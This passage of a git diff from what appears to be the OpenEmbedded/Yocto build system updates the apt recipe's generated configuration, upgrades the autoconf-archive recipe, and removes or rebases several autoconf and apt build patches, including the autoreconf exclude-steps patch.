+ Etc "#APTCONF#"
+ {
+ Preferences "preferences";
+ };
+ Log "var/log/apt";
+};
+
+APT
+{
+ Install-Recommends "true";
+ Immediate-Configure "false";
+ Architecture "i586";
+ Get
+ {
+ Assume-Yes "true";
+ };
+};
+
+Acquire
+{
+ AllowInsecureRepositories "true";
+};
+
+DPkg::Options {"--root=#ROOTFS#";"--admindir=#ROOTFS#/var/lib/dpkg";"--force-all";"--no-debsig"};
+DPkg::Path "";
+EOF
+}
+
+do_install:append:class-native() {
+ customize_apt_conf_sample
+}
+
+do_install:append:class-nativesdk() {
+ customize_apt_conf_sample
+}
+
+do_install:append:class-target() {
+ # Write the correct apt-architecture to apt.conf
+ APT_CONF=${D}${sysconfdir}/apt/apt.conf
+ echo 'APT::Architecture "${DPKG_ARCH}";' > ${APT_CONF}
+
+ # Remove /var/log/apt. /var/log is normally a link to /var/volatile/log
+ # and /var/volatile is a tmpfs mount. So anything created in /var/log
+ # will not be available when the tmpfs is mounted.
+ rm -rf ${D}${localstatedir}/log
+}
+
+do_install:append() {
+ # Avoid non-reproducible -src package
+ sed -i -e "s,${B},,g" ${B}/apt-pkg/tagfile-keys.cc
+}
diff --git a/meta/recipes-devtools/apt/files/apt.conf b/meta/recipes-devtools/apt/files/apt.conf
deleted file mode 100644
index 03351356bc..0000000000
--- a/meta/recipes-devtools/apt/files/apt.conf
+++ /dev/null
@@ -1,42 +0,0 @@
-Dir "${STAGING_DIR_NATIVE}/"
-{
- State "var/lib/apt/"
- {
- Lists "#APTCONF#/lists/";
- status "#ROOTFS#/var/lib/dpkg/status";
- };
- Cache "var/cache/apt/"
- {
- Archives "archives/";
- pkgcache "";
- srcpkgcache "";
- };
- Bin "${STAGING_BINDIR_NATIVE}/"
- {
- methods "${STAGING_LIBDIR}/apt/methods/";
- gzip "/bin/gzip";
- dpkg "dpkg";
- dpkg-source "dpkg-source";
- dpkg-buildpackage "dpkg-buildpackage";
- apt-get "apt-get";
- apt-cache "apt-cache";
- };
- Etc "#APTCONF#"
- {
- Preferences "preferences";
- };
-};
-
-APT
-{
- Install-Recommends "true";
- Immediate-Configure "false";
- Architecture "i586";
- Get
- {
- Assume-Yes "true";
- Force-Yes "true"
- };
-};
-
-DPkg::Options {"--root=#ROOTFS#";"--admindir=#ROOTFS#/var/lib/dpkg";"--force-all";"--no-debsig"};
diff --git a/meta/recipes-devtools/apt/files/db_linking_hack.patch b/meta/recipes-devtools/apt/files/db_linking_hack.patch
deleted file mode 100644
index a61d4b07c2..0000000000
--- a/meta/recipes-devtools/apt/files/db_linking_hack.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-Upstream-Status: Backport
-
-Index: apt-0.7.3/configure.ac
-===================================================================
---- apt-0.7.3.orig/configure.ac 2007-07-01 10:38:45.000000000 +0000
-+++ apt-0.7.3/configure.ac 2007-08-21 13:39:26.000000000 +0000
-@@ -67,8 +67,20 @@
- [AC_DEFINE(HAVE_BDB)
- BDBLIB="-ldb"
- AC_MSG_RESULT(yes)],
-- [BDBLIB=""
-- AC_MSG_RESULT(no)]
-+
-+ LIBS="$LIBS -lpthread"
-+ [AC_MSG_CHECKING(if we can link against BerkeleyDB with pthread)
-+ AC_LINK_IFELSE(
-+ [AC_LANG_PROGRAM(
-+ [#include <db.h>],
-+ [int r, s, t; db_version(&r, &s, &t);]
-+ )],
-+ [AC_DEFINE(HAVE_BDB)
-+ BDBLIB="-ldb -lpthread"
-+ AC_MSG_RESULT(yes)],
-+ [BDBLIB=""
-+ AC_MSG_RESULT(no)]
-+ )]
- )]
- )
-
diff --git a/meta/recipes-devtools/apt/files/environment.patch b/meta/recipes-devtools/apt/files/environment.patch
deleted file mode 100644
index 9a0303803e..0000000000
--- a/meta/recipes-devtools/apt/files/environment.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Backport
-
-Index: apt-0.6.46.2/buildlib/environment.mak.in
-===================================================================
---- apt-0.6.46.2.orig/buildlib/environment.mak.in 2007-03-29 11:38:58.000000000 +0100
-+++ apt-0.6.46.2/buildlib/environment.mak.in 2007-03-29 11:39:12.000000000 +0100
-@@ -62,7 +62,7 @@
-
- # Shared library things
- HOST_OS = @host_os@
--ifneq ($(words $(filter linux-gnu gnu% %gnu,$(HOST_OS))),0)
-+ifneq ($(words $(filter linux-gnu linux-gnueabi gnu% %gnu,$(HOST_OS))),0)
- SONAME_MAGIC=-Wl,-soname -Wl,
- LFLAGS_SO=
- else
diff --git a/meta/recipes-devtools/apt/files/no-curl.patch b/meta/recipes-devtools/apt/files/no-curl.patch
deleted file mode 100644
index 0838552b26..0000000000
--- a/meta/recipes-devtools/apt/files/no-curl.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-From 5d61ac822fd9a3871cd5089389c210606232ecdc Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Thu, 26 May 2016 15:34:45 -0500
-Subject: [PATCH] Upstream-Status: Inappropriate [configuration]
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
----
- configure.ac | 7 -------
- methods/makefile | 7 -------
- 2 files changed, 14 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index e47f459..cd24264 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -83,13 +83,6 @@ AC_CHECK_HEADER(db.h,
-
- LIBS="$saveLIBS"
-
--AC_CHECK_LIB(curl, curl_easy_init,
-- [AC_CHECK_HEADER(curl/curl.h,
-- curl_ok=yes,
-- curl_ok=no)],
-- AC_MSG_ERROR([failed: I need CURL due https support]),
--)
--
- AC_SUBST(BDBLIB)
-
- HAVE_ZLIB=no
-diff --git a/methods/makefile b/methods/makefile
-index 3274e92..255086b 100644
---- a/methods/makefile
-+++ b/methods/makefile
-@@ -51,13 +51,6 @@ LIB_MAKES = apt-pkg/makefile
- SOURCE = http.cc http_main.cc rfc2553emu.cc connect.cc server.cc
- include $(PROGRAM_H)
-
--# The https method
--PROGRAM=https
--SLIBS = -lapt-pkg -lcurl $(INTLLIBS) -lresolv
--LIB_MAKES = apt-pkg/makefile
--SOURCE = https.cc server.cc
--include $(PROGRAM_H)
--
- # The ftp method
- PROGRAM=ftp
- SLIBS = -lapt-pkg $(SOCKETLIBS) $(INTLLIBS) -lresolv
---
-2.1.4
-
diff --git a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb
deleted file mode 100644
index 985a254fcc..0000000000
--- a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "a collection of freely re-usable Autoconf macros"
-HOMEPAGE = "http://www.gnu.org/software/autoconf-archive/"
-SECTION = "devel"
-LICENSE = "GPL-3.0-with-autoconf-exception"
-LIC_FILES_CHKSUM = "file://COPYING;md5=11cc2d3ee574f9d6b7ee797bdce4d423 \
- file://COPYING.EXCEPTION;md5=fdef168ebff3bc2f13664c365a5fb515"
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "d46413c8b00a125b1529bae385bbec55"
-SRC_URI[sha256sum] = "17195c833098da79de5778ee90948f4c5d90ed1a0cf8391b4ab348e2ec511e3f"
-
-inherit autotools allarch
-
-PACKAGES = "${PN} ${PN}-doc"
-
-FILES_${PN} += "${datadir}/aclocal"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf-archive/autoconf-archive_2022.02.11.bb b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2022.02.11.bb
new file mode 100644
index 0000000000..47bf2380f0
--- /dev/null
+++ b/meta/recipes-devtools/autoconf-archive/autoconf-archive_2022.02.11.bb
@@ -0,0 +1,17 @@
+SUMMARY = "a collection of freely re-usable Autoconf macros"
+HOMEPAGE = "http://www.gnu.org/software/autoconf-archive/"
+SECTION = "devel"
+LICENSE = "GPL-3.0-with-autoconf-exception"
+LIC_FILES_CHKSUM = "file://COPYING;md5=11cc2d3ee574f9d6b7ee797bdce4d423 \
+ file://COPYING.EXCEPTION;md5=fdef168ebff3bc2f13664c365a5fb515"
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "78a61b611e2eeb55a89e0398e0ce387bcaf57fe2dd53c6fe427130f777ad1e8c"
+
+inherit autotools allarch texinfo
+
+PACKAGES = "${PN} ${PN}-doc"
+
+FILES:${PN} += "${datadir}/aclocal"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/autoconf/autoconf.inc b/meta/recipes-devtools/autoconf/autoconf.inc
deleted file mode 100644
index 2c87bf8296..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf.inc
+++ /dev/null
@@ -1,88 +0,0 @@
-SUMMARY = "A GNU tool that produce shell scripts to automatically configure software"
-DESCRIPTION = "Autoconf is an extensible package of M4 macros that produce shell scripts to automatically \
-configure software source code packages. Autoconf creates a configuration script for a package from a template \
-file that lists the operating system features that the package can use, in the form of M4 macro calls."
-LICENSE = "GPLv3"
-HOMEPAGE = "http://www.gnu.org/software/autoconf/"
-SECTION = "devel"
-DEPENDS += "m4-native"
-DEPENDS_class-native = "m4-native gnu-config-native"
-DEPENDS_class-nativesdk = "nativesdk-m4 nativesdk-gnu-config"
-RDEPENDS_${PN} = "m4 gnu-config \
- perl \
- perl-module-bytes \
- perl-module-carp \
- perl-module-constant \
- perl-module-data-dumper \
- perl-module-errno \
- perl-module-exporter \
- perl-module-file-basename \
- perl-module-file-compare \
- perl-module-file-copy \
- perl-module-file-find \
- perl-module-file-glob \
- perl-module-file-path \
- perl-module-file-spec \
- perl-module-file-spec-unix \
- perl-module-file-stat \
- perl-module-getopt-long \
- perl-module-io-file \
- perl-module-overloading \
- perl-module-posix \
- perl-module-symbol \
- perl-module-thread-queue \
- perl-module-threads \
- "
-RDEPENDS_${PN}_class-native = "m4-native gnu-config-native"
-RDEPENDS_${PN}_class-nativesdk = "\
- nativesdk-gnu-config \
- nativesdk-m4 \
- nativesdk-perl \
- nativesdk-perl-module-bytes \
- nativesdk-perl-module-carp \
- nativesdk-perl-module-constant \
- nativesdk-perl-module-data-dumper \
- nativesdk-perl-module-errno \
- nativesdk-perl-module-exporter \
- nativesdk-perl-module-file-basename \
- nativesdk-perl-module-file-compare \
- nativesdk-perl-module-file-copy \
- nativesdk-perl-module-file-find \
- nativesdk-perl-module-file-glob \
- nativesdk-perl-module-file-path \
- nativesdk-perl-module-file-spec \
- nativesdk-perl-module-file-spec-unix \
- nativesdk-perl-module-file-stat \
- nativesdk-perl-module-getopt-long \
- nativesdk-perl-module-io-file \
- nativesdk-perl-module-overloading \
- nativesdk-perl-module-posix \
- nativesdk-perl-module-symbol \
- nativesdk-perl-module-thread-queue \
- nativesdk-perl-module-threads \
- "
-
-
-
-SRC_URI = "${GNU_MIRROR}/autoconf/autoconf-${PV}.tar.gz \
- file://program_prefix.patch"
-
-inherit autotools texinfo
-
-PERL = "${USRBINPATH}/perl"
-PERL_class-native = "/usr/bin/env perl"
-PERL_class-nativesdk = "/usr/bin/env perl"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
-
-do_configure() {
- # manually install a newer config.guess/.sub
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}/build-aux
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}/build-aux
-
- oe_runconf
-}
-
-do_install_append() {
- rm -rf ${D}${datadir}/emacs
-}
diff --git a/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch b/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch
deleted file mode 100644
index b2d7dc0e24..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch
+++ /dev/null
@@ -1,101 +0,0 @@
-From b859ab1b211d348b46eca9158b7742f050c8115e Mon Sep 17 00:00:00 2001
-From: Eric Blake <eblake@redhat.com>
-Date: Wed, 14 Sep 2016 08:17:06 -0500
-Subject: [PATCH] AC_HEADER_MAJOR: port to glibc 2.25
-
-glibc 2.25 is deprecating the namespace pollution of <sys/types.h>
-injecting major(), minor(), and makedev() into the compilation
-environment, with a warning that insists that users include
-<sys/sysmacros.h> instead. However, because the expansion of
-AC_HEADER_MAJOR didn't bother checking sys/sysmacros.h until
-after probing whether sys/types.h pollutes the namespace, it was
-not defining MAJOR_IN_SYSMACROS, with the result that code
-compiled with -Werror chokes on the deprecation warnings because
-it was not including sysmacros.h.
-
-In addition to fixing autoconf (which only benefits projects
-that rebuild configure after this fix is released), we can also
-give a hint to distros on how they can populate config.site with
-a cache variable to force pre-existing configure scripts without
-the updated macro to behave sanely in the presence of glibc 2.25
-(the documentation is especially useful since that cache variable
-is no longer present in autoconf after this patch).
-
-Note that mingw lacks major/minor/makedev in any of its standard
-headers; for that platform, the behavior of this macro is unchanged
-(code using the recommended include formula will get a compile error
-when trying to use major(), whether before or after this patch); but
-for now, it is assumed that programs actually concerned with
-creating devices are not worried about portability to mingw. If
-desired, a later patch could tighten AC_HEADER_MAJOR to fail at
-configure time if the macros are unavailable in any of the three
-system headers, but that semantic change is not worth mixing into
-this patch.
-
-* lib/autoconf/headers.m4 (AC_HEADER_MAJOR): Drop check for
-major within sys/types.h; it interferes with the need to check
-sysmacros.h first.
-
-Signed-off-by: Eric Blake <eblake@redhat.com>
-
-Remove the documentation change from the patch
-Upstream-Status: Backport
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- lib/autoconf/headers.m4 | 30 ++++++++++++++----------------
- 1 file changed, 14 insertions(+), 16 deletions(-)
-
-diff --git a/lib/autoconf/headers.m4 b/lib/autoconf/headers.m4
-index 81a7fa2..a57d0d3 100644
---- a/lib/autoconf/headers.m4
-+++ b/lib/autoconf/headers.m4
-@@ -502,31 +502,29 @@ fi
-
- # AC_HEADER_MAJOR
- # ---------------
-+# Thanks to glibc 2.25 deprecating macros in sys/types.h, coupled with
-+# back-compat to autoconf 2.69, we need the following logic:
-+# Check whether <sys/types.h> compiles.
-+# If <sys/mkdev.h> compiles, assume it provides major/minor/makedev.
-+# Otherwise, if <sys/sysmacros.h> compiles, assume it provides the macros.
-+# Otherwise, either the macros were provided by <sys/types.h>, or do
-+# not exist on the platform. Code trying to use these three macros is
-+# assumed to not care about platforms that lack the macros.
- AN_FUNCTION([major], [AC_HEADER_MAJOR])
- AN_FUNCTION([makedev], [AC_HEADER_MAJOR])
- AN_FUNCTION([minor], [AC_HEADER_MAJOR])
- AN_HEADER([sys/mkdev.h], [AC_HEADER_MAJOR])
- AC_DEFUN([AC_HEADER_MAJOR],
--[AC_CACHE_CHECK(whether sys/types.h defines makedev,
-- ac_cv_header_sys_types_h_makedev,
--[AC_LINK_IFELSE([AC_LANG_PROGRAM([[@%:@include <sys/types.h>]],
-- [[return makedev(0, 0);]])],
-- [ac_cv_header_sys_types_h_makedev=yes],
-- [ac_cv_header_sys_types_h_makedev=no])
--])
--
--if test $ac_cv_header_sys_types_h_makedev = no; then
-+[AC_CHECK_HEADERS_ONCE([sys/types.h])
- AC_CHECK_HEADER(sys/mkdev.h,
- [AC_DEFINE(MAJOR_IN_MKDEV, 1,
- [Define to 1 if `major', `minor', and `makedev' are
- declared in <mkdev.h>.])])
--
-- if test $ac_cv_header_sys_mkdev_h = no; then
-- AC_CHECK_HEADER(sys/sysmacros.h,
-- [AC_DEFINE(MAJOR_IN_SYSMACROS, 1,
-- [Define to 1 if `major', `minor', and `makedev'
-- are declared in <sysmacros.h>.])])
-- fi
-+if test $ac_cv_header_sys_mkdev_h = no; then
-+ AC_CHECK_HEADER(sys/sysmacros.h,
-+ [AC_DEFINE(MAJOR_IN_SYSMACROS, 1,
-+ [Define to 1 if `major', `minor', and `makedev'
-+ are declared in <sysmacros.h>.])])
- fi
- ])# AC_HEADER_MAJOR
-
---
-2.7.4
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch b/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch
deleted file mode 100644
index a9094d2128..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-backport http://git.savannah.gnu.org/cgit/config.git/commit/config.sub?id=062587eaa891396c936555ae51f7e77eeb71a5fe
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport
-Index: autoconf-2.69/build-aux/config.sub
-===================================================================
---- autoconf-2.69.orig/build-aux/config.sub
-+++ autoconf-2.69/build-aux/config.sub
-@@ -123,7 +123,7 @@ esac
- maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
- case $maybe_os in
- nto-qnx* | linux-gnu* | linux-android* | linux-dietlibc | linux-newlib* | \
-- linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \
-+ linux-musl* | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | \
- knetbsd*-gnu* | netbsd*-gnu* | \
- kopensolaris*-gnu* | \
- storm-chaos* | os2-emx* | rtmk-nova*)
-@@ -1360,7 +1360,7 @@ case $os in
- | -chorusos* | -chorusrdb* | -cegcc* \
- | -cygwin* | -msys* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
- | -mingw32* | -linux-gnu* | -linux-android* \
-- | -linux-newlib* | -linux-uclibc* \
-+ | -linux-newlib* | -linux-musl* | -linux-uclibc* \
- | -uxpv* | -beos* | -mpeix* | -udk* \
- | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \
- | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch b/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch
deleted file mode 100644
index ae0e3825f6..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch
+++ /dev/null
@@ -1,120 +0,0 @@
-From 236552ff5b9f1ebf666d8d0e9850007dcce03d26 Mon Sep 17 00:00:00 2001
-From: Serhii Popovych <spopovyc@cisco.com>
-Date: Wed, 10 Feb 2016 16:32:44 +0000
-Subject: [PATCH] perl: Replace -w option in shebangs with modern "use
- warnings"
-
-In some builds we might provide ac_cv_path_PERL as /usr/bin/env perl
-to use newer version of the perl from users PATH rather than
-older from standard system path.
-
-However using /usr/bin/env perl -w from shebang line isn't
-possible because it translates to something like
-/usr/bin/env -w perl and env complains about illegal option.
-
-To address this we can remove -w option from perl shebang
-line and add "use warnings" statement.
-
-Upstream-Status: Pending
-Signed-off-by: Serhii Popovych <spopovyc@cisco.com>
----
- bin/autom4te.in | 3 ++-
- bin/autoreconf.in | 3 ++-
- bin/autoscan.in | 3 ++-
- bin/autoupdate.in | 3 ++-
- bin/ifnames.in | 3 ++-
- 5 files changed, 10 insertions(+), 5 deletions(-)
-
-diff --git a/bin/autom4te.in b/bin/autom4te.in
-index 11773c9..a8f5e41 100644
---- a/bin/autom4te.in
-+++ b/bin/autom4te.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -42,6 +42,7 @@ use Autom4te::General;
- use Autom4te::XFile;
- use File::Basename;
- use strict;
-+use warnings;
-
- # Data directory.
- my $pkgdatadir = $ENV{'AC_MACRODIR'} || '@pkgdatadir@';
-diff --git a/bin/autoreconf.in b/bin/autoreconf.in
-index e245db4..1a318cb 100644
---- a/bin/autoreconf.in
-+++ b/bin/autoreconf.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -45,6 +45,7 @@ use Autom4te::XFile;
- # Do not use Cwd::chdir, since it might hang.
- use Cwd 'cwd';
- use strict;
-+use warnings;
-
- ## ----------- ##
- ## Variables. ##
-diff --git a/bin/autoscan.in b/bin/autoscan.in
-index a67c48d..b931249 100644
---- a/bin/autoscan.in
-+++ b/bin/autoscan.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -43,6 +43,7 @@ use Autom4te::XFile;
- use File::Basename;
- use File::Find;
- use strict;
-+use warnings;
-
- use vars qw(@cfiles @makefiles @shfiles @subdirs %printed);
-
-diff --git a/bin/autoupdate.in b/bin/autoupdate.in
-index 9737d49..92cb147 100644
---- a/bin/autoupdate.in
-+++ b/bin/autoupdate.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -44,6 +44,7 @@ use Autom4te::General;
- use Autom4te::XFile;
- use File::Basename;
- use strict;
-+use warnings;
-
- # Lib files.
- my $autom4te = $ENV{'AUTOM4TE'} || '@bindir@/@autom4te-name@';
-diff --git a/bin/ifnames.in b/bin/ifnames.in
-index ba2cd05..74b0278 100644
---- a/bin/ifnames.in
-+++ b/bin/ifnames.in
-@@ -1,4 +1,4 @@
--#! @PERL@ -w
-+#! @PERL@
- # -*- perl -*-
- # @configure_input@
-
-@@ -44,6 +44,7 @@ BEGIN
- use Autom4te::General;
- use Autom4te::XFile;
- use Autom4te::FileUtils;
-+use warnings;
-
- # $HELP
- # -----
---
-2.3.0
-
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch b/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
index d1bd3a2a31..c73aca41ee 100644
--- a/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch
@@ -1,18 +1,26 @@
-Upstream-Status: Pending
+From 0071d28e304745a16871561f23117fdb00dd2559 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Thu, 12 Mar 2020 17:25:23 +0000
+Subject: [PATCH 4/7] autoreconf-exclude.patch
-Index: autoconf-2.63/bin/autoreconf.in
-===================================================================
---- autoconf-2.63.orig/bin/autoreconf.in 2008-12-31 17:39:01.000000000 +0000
-+++ autoconf-2.63/bin/autoreconf.in 2008-12-31 17:43:38.000000000 +0000
-@@ -76,6 +76,7 @@
- -i, --install copy missing auxiliary files
+Upstream-Status: Inappropriate [oe specific]
+---
+ bin/autoreconf.in | 26 ++++++++++++++++++++++++++
+ 1 file changed, 26 insertions(+)
+
+diff --git a/bin/autoreconf.in b/bin/autoreconf.in
+index bb9f316d..7da3005b 100644
+--- a/bin/autoreconf.in
++++ b/bin/autoreconf.in
+@@ -82,6 +82,7 @@ Operation modes:
+ -i, --install copy missing standard auxiliary files
--no-recursive don't rebuild sub-packages
-s, --symlink with -i, install symbolic links instead of copies
+ -x, --exclude=STEPS steps we should not run
-m, --make when applicable, re-run ./configure && make
-W, --warnings=CATEGORY report the warnings falling in CATEGORY [syntax]
-@@ -136,6 +137,13 @@
+@@ -141,6 +142,10 @@ my $run_make = 0;
# Recurse into subpackages
my $recursive = 1;
@@ -20,13 +28,10 @@ Index: autoconf-2.63/bin/autoreconf.in
+my @exclude;
+my @ex;
+
-+my $uses_gettext;
-+my $configure_ac;
-+
## ---------- ##
## Routines. ##
## ---------- ##
-@@ -153,6 +161,7 @@
+@@ -161,6 +166,7 @@ sub parse_args ()
'B|prepend-include=s' => \@prepend_include,
'i|install' => \$install,
's|symlink' => \$symlink,
@@ -34,106 +39,85 @@ Index: autoconf-2.63/bin/autoreconf.in
'm|make' => \$run_make,
'recursive!' => \$recursive);
-@@ -162,6 +171,8 @@
+@@ -170,6 +176,8 @@ sub parse_args ()
parse_WARNINGS;
- parse_warnings '--warnings', @warning;
+ parse_warnings @warning;
+ @exclude = map { split /,/ } @exclude;
+
# Even if the user specified a configure.ac, trim to get the
# directory, and look for configure.ac again. Because (i) the code
# is simpler, and (ii) we are still able to diagnose simultaneous
-@@ -255,6 +266,11 @@
- {
- my ($aclocal, $flags) = @_;
-
-+ @ex = grep (/^aclocal$/, @exclude);
-+ if ($#ex != -1) {
-+ return;
-+ }
-+
- # aclocal 1.8+ does all this for free. It can be recognized by its
- # --force support.
- if ($aclocal_supports_force)
-@@ -368,7 +384,10 @@
+@@ -493,8 +501,11 @@ sub autoreconf_current_directory ($)
}
else
{
-- xsystem_hint ("autopoint is needed because this package uses Gettext", "$autopoint");
+ @ex = grep (/^autopoint$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem_hint ("autopoint is needed because this package uses Gettext", "$autopoint");
+ xsystem_hint ("autopoint is needed because this package uses Gettext",
+ $autopoint);
+ }
}
-@@ -532,16 +551,17 @@
+@@ -687,9 +698,12 @@ sub autoreconf_current_directory ($)
{
$libtoolize .= " --ltdl";
}
-- xsystem_hint ("libtoolize is needed because this package uses Libtool", $libtoolize);
-- $rerun_aclocal = 1;
+ @ex = grep (/^libtoolize$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem_hint ("libtoolize is needed because this package uses Libtool", $libtoolize);
-+ $rerun_aclocal = 1;
+ xsystem_hint ("libtoolize is needed because this package uses Libtool",
+ $libtoolize);
+ $rerun_aclocal = 1;
+ }
}
else
{
- verb "$configure_ac: not running libtoolize: --install not given";
+@@ -726,8 +740,11 @@ sub autoreconf_current_directory ($)
}
-
--
--
- # ------------------- #
- # Rerunning aclocal. #
- # ------------------- #
-@@ -572,7 +592,10 @@
+ elsif ($install)
+ {
++ @ex = grep (/^gtkdocize$/, @exclude);
++ if ($#ex == -1) {
+ xsystem_hint ("gtkdocize is needed because this package uses Gtkdoc",
+ $gtkdocize);
++ }
+ }
+ else
+ {
+@@ -765,7 +782,10 @@ sub autoreconf_current_directory ($)
# latter runs the former, and (ii) autoconf is stricter than
# autoheader. So all in all, autoconf should give better error
# messages.
-- xsystem ($autoconf);
+ @ex = grep (/^autoconf$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$autoconf");
+ xsystem ($autoconf);
+ }
# -------------------- #
-@@ -593,7 +616,10 @@
+@@ -786,7 +806,10 @@ sub autoreconf_current_directory ($)
}
else
{
-- xsystem ($autoheader);
+ @ex = grep (/^autoheader$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$autoheader");
+ xsystem ($autoheader);
+ }
}
-@@ -610,7 +636,10 @@
+@@ -803,7 +826,10 @@ sub autoreconf_current_directory ($)
# We should always run automake, and let it decide whether it shall
- # update the file or not. In fact, the effect of `$force' is already
- # included in `$automake' via `--no-force'.
-- xsystem ($automake);
+ # update the file or not. In fact, the effect of '$force' is already
+ # included in '$automake' via '--no-force'.
+ @ex = grep (/^automake$/, @exclude);
+ if ($#ex == -1) {
-+ xsystem ("$automake");
+ xsystem ($automake);
+ }
}
-
-@@ -634,7 +663,10 @@
- }
- else
- {
-- xsystem ("$make");
-+ @ex = grep (/^make$/, @exclude);
-+ if ($#ex == -1) {
-+ xsystem ("$make");
-+ }
- }
- }
- }
+ # ---------------------------------------------------- #
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch b/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch
deleted file mode 100644
index 5ff18c2350..0000000000
--- a/meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-Upstream-Status: Pending
-
-#
-# Patch managed by http://www.mn-logistik.de/unsupported/pxa250/patcher
-#
-
-Index: autoconf-2.63/bin/autoreconf.in
-===================================================================
---- autoconf-2.63.orig/bin/autoreconf.in 2008-12-31 17:43:55.000000000 +0000
-+++ autoconf-2.63/bin/autoreconf.in 2008-12-31 17:46:16.000000000 +0000
-@@ -58,7 +58,7 @@
- $help = "Usage: $0 [OPTION]... [DIRECTORY]...
-
- Run `autoconf' (and `autoheader', `aclocal', `automake', `autopoint'
--(formerly `gettextize'), and `libtoolize' where appropriate)
-+(formerly `gettextize'), `libtoolize', and `gnu-configize' where appropriate)
- repeatedly to remake the GNU Build System files in specified
- DIRECTORIES and their subdirectories (defaulting to `.').
-
-@@ -115,6 +115,7 @@
- my $libtoolize = $ENV{'LIBTOOLIZE'} || 'libtoolize';
- my $autopoint = $ENV{'AUTOPOINT'} || 'autopoint';
- my $make = $ENV{'MAKE'} || 'make';
-+my $gnuconfigize = $ENV{'GNUCONFIGIZE'} || 'gnu-configize';
-
- # --install -- as --add-missing in other tools.
- my $install = 0;
-@@ -644,6 +645,10 @@
- }
- }
-
-+ @ex = grep (/^gnu-configize$/, @exclude);
-+ if ($#ex == -1) {
-+ xsystem ("$gnuconfigize");
-+ }
-
- # -------------- #
- # Running make. #
diff --git a/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch b/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
index b5e8174efd..23329f7927 100644
--- a/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
+++ b/meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch
@@ -1,22 +1,15 @@
-From a7e722f974e2529d3e564d8d94c86cc8bdbc40e7 Mon Sep 17 00:00:00 2001
-From: Radu Patriu <radu.patriu@enea.com>
